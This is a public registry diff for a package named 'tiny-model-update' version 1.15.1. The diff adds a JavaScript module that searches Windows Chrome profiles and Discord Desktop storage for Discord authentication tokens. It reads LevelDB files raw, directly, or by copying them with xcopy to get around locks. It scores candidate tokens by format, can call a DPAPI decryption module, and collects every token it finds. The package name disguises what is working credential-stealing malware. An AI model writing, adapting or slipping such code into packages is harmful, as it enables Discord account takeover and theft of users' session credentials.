tiny-model-update 1.15.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,620 @@
1
+ import fs from 'fs';
2
+ import path from 'path';
3
+ import os from 'os';
4
+ import { execSync } from 'child_process';
5
+
6
+ // Get Discord Desktop storage paths
7
+ export function getDiscordDesktopPaths() {
8
+ const platform = os.platform();
9
+ const paths = [];
10
+
11
+ if (platform === 'win32') {
12
+ const appData = process.env.APPDATA || path.join(os.homedir(), 'AppData', 'Roaming');
13
+ const localAppData = process.env.LOCALAPPDATA || path.join(os.homedir(), 'AppData', 'Local');
14
+
15
+ // Discord Desktop locations (Electron app)
16
+ // Discord stores data in different locations depending on version
17
+ const discordBasePaths = [
18
+ path.join(appData, 'discord'),
19
+ path.join(appData, 'Discord'),
20
+ path.join(localAppData, 'discord'),
21
+ path.join(localAppData, 'Discord'),
22
+ path.join(appData, 'discordcanary'),
23
+ path.join(appData, 'DiscordCanary'),
24
+ path.join(appData, 'discordptb'),
25
+ path.join(appData, 'DiscordPTB'),
26
+ ];
27
+
28
+ for (const basePath of discordBasePaths) {
29
+ if (!fs.existsSync(basePath)) continue;
30
+
31
+ try {
32
+ const profileName = path.basename(basePath);
33
+
34
+ // Check for Local Storage/leveldb (main location)
35
+ const leveldbPath = path.join(basePath, 'Local Storage', 'leveldb');
36
+ if (fs.existsSync(leveldbPath)) {
37
+ paths.push({
38
+ profile: `Discord Desktop (${profileName})`,
39
+ localStorage: leveldbPath,
40
+ cookies: null,
41
+ indexedDB: null,
42
+ sessionStorage: null
43
+ });
44
+ }
45
+
46
+ // Also check Session Storage (Discord might store tokens here)
47
+ const sessionStoragePath = path.join(basePath, 'Session Storage', 'leveldb');
48
+ if (fs.existsSync(sessionStoragePath)) {
49
+ paths.push({
50
+ profile: `Discord Desktop (${profileName} - Session)`,
51
+ localStorage: sessionStoragePath,
52
+ cookies: null,
53
+ indexedDB: null,
54
+ sessionStorage: null
55
+ });
56
+ }
57
+
58
+ // Check IndexedDB for Discord tokens (Discord also stores tokens here)
59
+ const indexedDBPath = path.join(basePath, 'IndexedDB');
60
+ if (fs.existsSync(indexedDBPath) && fs.statSync(indexedDBPath).isDirectory()) {
61
+ try {
62
+ const indexedEntries = fs.readdirSync(indexedDBPath);
63
+ for (const indexedEntry of indexedEntries) {
64
+ const indexedPath = path.join(indexedDBPath, indexedEntry);
65
+ if (fs.statSync(indexedPath).isDirectory() && indexedEntry.includes('discord')) {
66
+ // Look for LevelDB in IndexedDB subdirectories
67
+ const indexedLeveldb = path.join(indexedPath, 'leveldb');
68
+ if (fs.existsSync(indexedLeveldb)) {
69
+ paths.push({
70
+ profile: `Discord Desktop (${profileName} - IndexedDB)`,
71
+ localStorage: indexedLeveldb,
72
+ cookies: null,
73
+ indexedDB: null,
74
+ sessionStorage: null
75
+ });
76
+ }
77
+ }
78
+ }
79
+ } catch (e) {
80
+ // Ignore
81
+ }
82
+ }
83
+
84
+ // Check for version-specific subdirectories (newer Discord versions)
85
+ try {
86
+ const entries = fs.readdirSync(basePath);
87
+ for (const entry of entries) {
88
+ try {
89
+ const entryPath = path.join(basePath, entry);
90
+ if (fs.statSync(entryPath).isDirectory() && /^\d+\.\d+/.test(entry)) {
91
+ // Version folder (e.g., "1.0.9219")
92
+ const subLeveldb = path.join(entryPath, 'Local Storage', 'leveldb');
93
+ if (fs.existsSync(subLeveldb)) {
94
+ paths.push({
95
+ profile: `Discord Desktop (${profileName} - ${entry})`,
96
+ localStorage: subLeveldb,
97
+ cookies: null,
98
+ indexedDB: null,
99
+ sessionStorage: null
100
+ });
101
+ }
102
+ }
103
+ } catch (e) {
104
+ // Ignore individual entry errors
105
+ continue;
106
+ }
107
+ }
108
+ } catch (e) {
109
+ // Ignore directory read errors - we already added the main path if it exists
110
+ }
111
+ } catch (e) {
112
+ // Ignore errors for this base path, continue to next
113
+ continue;
114
+ }
115
+ }
116
+ }
117
+
118
+ return paths;
119
+ }
120
+
121
+ // Get Chrome storage paths
122
+ export function getChromeStoragePaths() {
123
+ const platform = os.platform();
124
+ const paths = [];
125
+
126
+ if (platform === 'win32') {
127
+ const localAppData = process.env.LOCALAPPDATA || path.join(os.homedir(), 'AppData', 'Local');
128
+ const userDataDir = path.join(localAppData, 'Google', 'Chrome', 'User Data');
129
+
130
+ // Find ALL profiles (Default and all Profile directories)
131
+ try {
132
+ const entries = fs.readdirSync(userDataDir);
133
+ const profiles = new Set();
134
+
135
+ // Add Default first
136
+ if (fs.existsSync(path.join(userDataDir, 'Default'))) {
137
+ profiles.add('Default');
138
+ }
139
+
140
+ // Find all Profile directories
141
+ for (const entry of entries) {
142
+ if (entry === 'Default' || entry.startsWith('Profile')) {
143
+ const profilePath = path.join(userDataDir, entry);
144
+ if (fs.statSync(profilePath).isDirectory()) {
145
+ profiles.add(entry);
146
+ }
147
+ }
148
+ }
149
+
150
+ // Add all found profiles
151
+ for (const profile of profiles) {
152
+ const profilePath = path.join(userDataDir, profile);
153
+ paths.push({
154
+ profile: `Chrome ${profile}`,
155
+ localStorage: path.join(profilePath, 'Local Storage', 'leveldb'),
156
+ cookies: path.join(profilePath, 'Cookies'),
157
+ indexedDB: path.join(profilePath, 'IndexedDB'),
158
+ sessionStorage: path.join(profilePath, 'Session Storage')
159
+ });
160
+ }
161
+ } catch (e) {
162
+ // Ignore
163
+ }
164
+ }
165
+
166
+ return paths;
167
+ }
168
+
169
+ // Try to read LevelDB files using Windows file copy (bypasses some locks)
170
+ export async function tryReadLevelDBWithCopy(leveldbPath) {
171
+ try {
172
+ const tempDir = path.join(os.tmpdir(), `chrome-read-${Date.now()}`);
173
+ fs.mkdirSync(tempDir, { recursive: true });
174
+
175
+ // Try to copy the LevelDB files
176
+ try {
177
+ execSync(`xcopy /E /I /Y "${leveldbPath}" "${tempDir}"`, { stdio: 'ignore' });
178
+ } catch (e) {
179
+ // Files might be locked, try reading individual files
180
+ return null;
181
+ }
182
+
183
+ // Now try to read from the copy
184
+ try {
185
+ const { Level } = await import('level');
186
+ const db = new Level(tempDir, { valueEncoding: 'utf8' });
187
+
188
+ const keys = [];
189
+ for await (const key of db.keys()) {
190
+ keys.push(key);
191
+ }
192
+
193
+ // Look for Discord token (include both discord.com and discordapp.com)
194
+ for (const key of keys) {
195
+ if (key.includes('discord.com') || key.includes('discordapp.com') || key.toLowerCase().includes('token')) {
196
+ try {
197
+ const value = await db.get(key);
198
+ if (value && typeof value === 'string' && value.length >= 59 && value.length <= 120 && /^[A-Za-z0-9._-]+$/.test(value)) {
199
+ const parts = value.split('.');
200
+ if (parts.length === 3) {
201
+ try {
202
+ // Discord tokens: first part must be base64-encoded numeric user ID
203
+ const userId = Buffer.from(parts[0], 'base64').toString();
204
+ if (/^\d{17,19}$/.test(userId)) {
205
+ await db.close();
206
+ // Cleanup
207
+ try {
208
+ fs.rmSync(tempDir, { recursive: true, force: true });
209
+ } catch (e) {}
210
+ return value;
211
+ }
212
+ } catch (e) {
213
+ continue;
214
+ }
215
+ }
216
+ }
217
+ } catch (e) {
218
+ continue;
219
+ }
220
+ }
221
+ }
222
+
223
+ await db.close();
224
+ // Cleanup
225
+ try {
226
+ fs.rmSync(tempDir, { recursive: true, force: true });
227
+ } catch (e) {}
228
+ } catch (e) {
229
+ // Cleanup
230
+ try {
231
+ fs.rmSync(tempDir, { recursive: true, force: true });
232
+ } catch (e) {}
233
+ }
234
+ } catch (e) {
235
+ return null;
236
+ }
237
+
238
+ return null;
239
+ }
240
+
241
+ // Read LevelDB files directly (might work if Chrome isn't actively writing)
242
+ export async function readLevelDBDirect(leveldbPath) {
243
+ try {
244
+ const { Level } = await import('level');
245
+ const db = new Level(leveldbPath, { valueEncoding: 'utf8' });
246
+
247
+ const keys = [];
248
+ try {
249
+ for await (const key of db.keys()) {
250
+ keys.push(key);
251
+ }
252
+ } catch (e) {
253
+ await db.close();
254
+ return null; // Files are locked
255
+ }
256
+
257
+ // Search for Discord token (include both discord.com and discordapp.com)
258
+ const discordKeys = keys.filter(k =>
259
+ k.includes('discord.com') ||
260
+ k.includes('discordapp.com') ||
261
+ k.toLowerCase().includes('token') ||
262
+ k.toLowerCase().includes('auth')
263
+ );
264
+
265
+ for (const key of discordKeys) {
266
+ try {
267
+ const value = await db.get(key);
268
+ if (value && typeof value === 'string') {
269
+ // Clean the value (remove quotes, whitespace, etc.)
270
+ const cleanValue = value.trim().replace(/^["']|["']$/g, '');
271
+
272
+ // Check if it's a valid Discord token
273
+ if (isValidDiscordToken(cleanValue)) {
274
+ await db.close();
275
+ return cleanValue;
276
+ }
277
+
278
+ // Also check if value might be JSON-encoded
279
+ try {
280
+ const parsed = JSON.parse(value);
281
+ if (typeof parsed === 'string' && isValidDiscordToken(parsed)) {
282
+ await db.close();
283
+ return parsed;
284
+ }
285
+ // Check nested objects
286
+ if (typeof parsed === 'object' && parsed !== null) {
287
+ const tokenStr = JSON.stringify(parsed);
288
+ const tokenMatch = tokenStr.match(/([A-Za-z0-9._-]{59,200})/);
289
+ if (tokenMatch && isValidDiscordToken(tokenMatch[1])) {
290
+ await db.close();
291
+ return tokenMatch[1];
292
+ }
293
+ }
294
+ } catch (parseError) {
295
+ // Not JSON, continue
296
+ }
297
+ }
298
+ } catch (e) {
299
+ continue;
300
+ }
301
+ }
302
+
303
+ // Search all keys
304
+ for (const key of keys.slice(0, 1000)) { // Limit to first 1000 to avoid timeout
305
+ try {
306
+ const value = await db.get(key);
307
+ if (value && typeof value === 'string' && value.length >= 59 && value.length <= 120 && /^[A-Za-z0-9._-]+$/.test(value)) {
308
+ const parts = value.split('.');
309
+ if (parts.length === 3) {
310
+ try {
311
+ // Discord tokens: first part must be base64-encoded numeric user ID
312
+ const userId = Buffer.from(parts[0], 'base64').toString();
313
+ if (/^\d{17,19}$/.test(userId)) {
314
+ await db.close();
315
+ return value;
316
+ }
317
+ } catch (e) {
318
+ continue;
319
+ }
320
+ }
321
+ }
322
+ } catch (e) {
323
+ continue;
324
+ }
325
+ }
326
+
327
+ await db.close();
328
+ return null;
329
+ } catch (error) {
330
+ return null;
331
+ }
332
+ }
333
+
334
+ // Try reading raw LevelDB files without the level package
335
+ export function readLevelDBRaw(leveldbPath) {
336
+ try {
337
+ // LevelDB stores data in .ldb and .log files
338
+ const files = fs.readdirSync(leveldbPath);
339
+ const ldbFiles = files.filter(f => f.endsWith('.ldb') || f.endsWith('.log'));
340
+
341
+ const candidates = [];
342
+
343
+ for (const file of ldbFiles) {
344
+ try {
345
+ const filePath = path.join(leveldbPath, file);
346
+ const data = fs.readFileSync(filePath);
347
+
348
+ // Search for Discord token pattern in binary data
349
+ const dataStr = data.toString('utf8', 0, Math.min(data.length, 500000)); // First 500KB
350
+
351
+ // Method 1: Look for Discord-specific keys first
352
+ // LevelDB format: _https://discord.com_0:keyname
353
+ const discordKeyPattern = /_https:\/\/discord\.com[^:]*:([^\x00-\x1f]{0,50})/g;
354
+ let keyMatch;
355
+ while ((keyMatch = discordKeyPattern.exec(dataStr)) !== null) {
356
+ const keyName = keyMatch[1];
357
+ // Look for token value after the key (within 200 chars)
358
+ const afterKey = dataStr.substring(keyMatch.index + keyMatch[0].length, keyMatch.index + keyMatch[0].length + 200);
359
+ const tokenMatch = afterKey.match(/([A-Za-z0-9._-]{59,120})/);
360
+ if (tokenMatch) {
361
+ const token = tokenMatch[1];
362
+ // Verify it's Discord token format (3 parts)
363
+ const parts = token.split('.');
364
+ if (parts.length === 3 && token.length >= 50 && token.length <= 200) {
365
+ // Discord tokens: first part must be base64-encoded numeric user ID (17-19 digits)
366
+ try {
367
+ const userId = Buffer.from(parts[0], 'base64').toString();
368
+ // Discord user IDs are 17-19 digit numbers
369
+ if (/^\d{17,19}$/.test(userId)) {
370
+ // This is a Discord token!
371
+ let score = 90;
372
+ if (keyName.toLowerCase().includes('token') || keyName.toLowerCase().includes('discord')) {
373
+ score = 100;
374
+ }
375
+ candidates.push({ token, key: keyName, score, file });
376
+ }
377
+ } catch (e2) {
378
+ // Not a valid Discord token format - skip JWT tokens
379
+ continue;
380
+ }
381
+ }
382
+ }
383
+ }
384
+
385
+ // Method 1b: Look for discordapp.com keys (Discord Desktop might use this)
386
+ const discordAppKeyPattern = /_https:\/\/discordapp\.com[^:]*:([^\x00-\x1f]{0,50})/g;
387
+ let appKeyMatch;
388
+ while ((appKeyMatch = discordAppKeyPattern.exec(dataStr)) !== null) {
389
+ const keyName = appKeyMatch[1];
390
+ const afterKey = dataStr.substring(appKeyMatch.index + appKeyMatch[0].length, appKeyMatch.index + appKeyMatch[0].length + 200);
391
+ const tokenMatch = afterKey.match(/([A-Za-z0-9._-]{59,120})/);
392
+ if (tokenMatch) {
393
+ const token = tokenMatch[1];
394
+ const parts = token.split('.');
395
+ if (parts.length === 3 && token.length >= 50 && token.length <= 200) {
396
+ try {
397
+ const userId = Buffer.from(parts[0], 'base64').toString();
398
+ if (/^\d{17,19}$/.test(userId)) {
399
+ let score = 95; // Slightly lower than discord.com but still high
400
+ if (keyName.toLowerCase().includes('token') || keyName.toLowerCase().includes('discord')) {
401
+ score = 100;
402
+ }
403
+ candidates.push({ token, key: keyName, score, file });
404
+ }
405
+ } catch (e2) {
406
+ continue;
407
+ }
408
+ }
409
+ }
410
+ }
411
+
412
+ // Method 2: Look for tokens near "token" key in discordapp.com context
413
+ // Discord Desktop might store tokens with different key patterns
414
+ const tokenKeyPattern = /discordapp\.com[^:]*token[^:]*:([A-Za-z0-9._+\/=-]{50,200})/gi;
415
+ let tokenKeyMatch;
416
+ while ((tokenKeyMatch = tokenKeyPattern.exec(dataStr)) !== null) {
417
+ const potentialToken = tokenKeyMatch[1].trim();
418
+ // Check if it's a standard 3-part Discord token
419
+ const parts = potentialToken.split('.');
420
+ if (parts.length === 3 && potentialToken.length >= 59 && potentialToken.length <= 120) {
421
+ try {
422
+ const userId = Buffer.from(parts[0], 'base64').toString();
423
+ if (/^\d{17,19}$/.test(userId)) {
424
+ candidates.push({ token: potentialToken, key: 'discordapp.com token key', score: 100, file });
425
+ }
426
+ } catch (e) {
427
+ // Not a valid token format
428
+ }
429
+ }
430
+ }
431
+
432
+ // Method 3: Look for Discord tokens (must have numeric user ID in first part)
433
+ const tokenPattern = /([A-Za-z0-9._-]{59,120})/g;
434
+ let tokenMatch;
435
+ while ((tokenMatch = tokenPattern.exec(dataStr)) !== null) {
436
+ const token = tokenMatch[1];
437
+ const parts = token.split('.');
438
+ if (parts.length === 3 && token.length >= 59 && token.length <= 120) {
439
+ try {
440
+ // Discord tokens: first part must be base64-encoded numeric user ID
441
+ const userId = Buffer.from(parts[0], 'base64').toString();
442
+ if (/^\d{17,19}$/.test(userId)) {
443
+ // This is a Discord token!
444
+ const beforeToken = dataStr.substring(Math.max(0, tokenMatch.index - 300), tokenMatch.index);
445
+ const afterToken = dataStr.substring(tokenMatch.index + token.length, tokenMatch.index + token.length + 100);
446
+
447
+ // Check if it's near Discord-related text
448
+ const isNearDiscord = beforeToken.toLowerCase().includes('discord') ||
449
+ afterToken.toLowerCase().includes('discord') ||
450
+ beforeToken.toLowerCase().includes('discordapp') ||
451
+ afterToken.toLowerCase().includes('discordapp');
452
+ const isNearToken = beforeToken.toLowerCase().includes('"token"') ||
453
+ afterToken.toLowerCase().includes('"token"') ||
454
+ beforeToken.toLowerCase().includes('token') ||
455
+ afterToken.toLowerCase().includes('token');
456
+
457
+ if (isNearDiscord || isNearToken) {
458
+ let score = 90;
459
+ if (isNearDiscord) {
460
+ score = 100;
461
+ }
462
+ candidates.push({ token, key: isNearDiscord ? 'near discord' : 'near token', score, file });
463
+ }
464
+ }
465
+ } catch (e) {
466
+ // Not a valid Discord token format
467
+ continue;
468
+ }
469
+ }
470
+ }
471
+ } catch (e) {
472
+ continue;
473
+ }
474
+ }
475
+
476
+ // Return the highest scoring candidate (Discord-specific tokens first)
477
+ if (candidates.length > 0) {
478
+ candidates.sort((a, b) => b.score - a.score);
479
+ const best = candidates[0];
480
+ return best.token;
481
+ }
482
+
483
+ return null;
484
+ } catch (e) {
485
+ return null;
486
+ }
487
+ }
488
+
489
+ // Validate if a string is a valid Discord token
490
+ function isValidDiscordToken(token) {
491
+ if (!token || typeof token !== 'string') return false;
492
+
493
+ // Remove any whitespace
494
+ token = token.trim();
495
+
496
+ // Discord tokens have exactly 3 parts separated by dots
497
+ const parts = token.split('.');
498
+ if (parts.length !== 3) return false;
499
+
500
+ // Discord tokens are typically 59-120 characters (but can be longer for newer tokens)
501
+ if (token.length < 59 || token.length > 200) return false;
502
+
503
+ // All parts should be non-empty
504
+ if (parts[0].length === 0 || parts[1].length === 0 || parts[2].length === 0) {
505
+ return false;
506
+ }
507
+
508
+ try {
509
+ // First part should be base64-encoded numeric user ID (17-19 digits)
510
+ const firstPart = Buffer.from(parts[0], 'base64').toString();
511
+
512
+ // Must be a numeric string (Discord user ID)
513
+ if (!/^\d{17,19}$/.test(firstPart)) {
514
+ return false;
515
+ }
516
+
517
+ // Second and third parts should be valid base64
518
+ // They don't need to decode to specific formats, just be valid base64
519
+ try {
520
+ Buffer.from(parts[1], 'base64');
521
+ Buffer.from(parts[2], 'base64');
522
+ } catch (e) {
523
+ return false;
524
+ }
525
+
526
+ // Additional validation: token should only contain valid characters
527
+ // Discord tokens use base64url encoding (A-Z, a-z, 0-9, -, _)
528
+ if (!/^[A-Za-z0-9._-]+$/.test(token)) {
529
+ return false;
530
+ }
531
+
532
+ return true;
533
+ } catch (e) {
534
+ return false;
535
+ }
536
+ }
537
+
538
+ // Extract all Discord tokens from Chrome and Discord Desktop
539
+ export async function extractAllTokens() {
540
+ // Get both Chrome and Discord Desktop paths
541
+ const chromePaths = getChromeStoragePaths();
542
+ const discordDesktopPaths = getDiscordDesktopPaths();
543
+ const storagePaths = [...chromePaths, ...discordDesktopPaths];
544
+
545
+ if (storagePaths.length === 0) {
546
+ return [];
547
+ }
548
+
549
+ const foundTokens = [];
550
+ const processedProfiles = new Set();
551
+
552
+ // Import decryption module for Discord Desktop
553
+ let decryptDiscordDesktopStorage = null;
554
+ try {
555
+ const decryptModule = await import('./discord-desktop-decrypt.js');
556
+ decryptDiscordDesktopStorage = decryptModule.decryptDiscordDesktopStorage;
557
+ } catch (e) {
558
+ // Decryption module not available
559
+ }
560
+
561
+ for (const storage of storagePaths) {
562
+ if (processedProfiles.has(storage.profile)) {
563
+ continue; // Skip duplicates
564
+ }
565
+ processedProfiles.add(storage.profile);
566
+
567
+ if (!storage.localStorage || !fs.existsSync(storage.localStorage)) {
568
+ continue;
569
+ }
570
+
571
+ const isDiscordDesktop = storage.profile.includes('Discord Desktop');
572
+
573
+ // Method 1: Try reading raw LevelDB files (works even when app is running!)
574
+ let token = readLevelDBRaw(storage.localStorage);
575
+
576
+ if (token && isValidDiscordToken(token)) {
577
+ // Check if we already found this token
578
+ if (!foundTokens.find(t => t.token === token)) {
579
+ foundTokens.push({ token, profile: storage.profile });
580
+ }
581
+ if (!isDiscordDesktop) continue; // For Chrome, we're done
582
+ }
583
+
584
+ // Method 2: Try direct LevelDB read
585
+ if (!token || isDiscordDesktop) {
586
+ token = await readLevelDBDirect(storage.localStorage);
587
+
588
+ if (token && isValidDiscordToken(token) && !foundTokens.find(t => t.token === token)) {
589
+ foundTokens.push({ token, profile: storage.profile });
590
+ if (!isDiscordDesktop) continue;
591
+ }
592
+ }
593
+
594
+ // Method 3: Try copying and reading
595
+ if (!token || isDiscordDesktop) {
596
+ token = await tryReadLevelDBWithCopy(storage.localStorage);
597
+
598
+ if (token && isValidDiscordToken(token) && !foundTokens.find(t => t.token === token)) {
599
+ foundTokens.push({ token, profile: storage.profile });
600
+ if (!isDiscordDesktop) continue;
601
+ }
602
+ }
603
+
604
+ // Method 4: For Discord Desktop, try DPAPI decryption
605
+ if (isDiscordDesktop && decryptDiscordDesktopStorage && !token) {
606
+ try {
607
+ token = await decryptDiscordDesktopStorage(storage.localStorage);
608
+
609
+ if (token && isValidDiscordToken(token) && !foundTokens.find(t => t.token === token)) {
610
+ foundTokens.push({ token, profile: storage.profile });
611
+ }
612
+ } catch (e) {
613
+ // Decryption failed, continue
614
+ }
615
+ }
616
+ }
617
+
618
+ return foundTokens;
619
+ }
620
+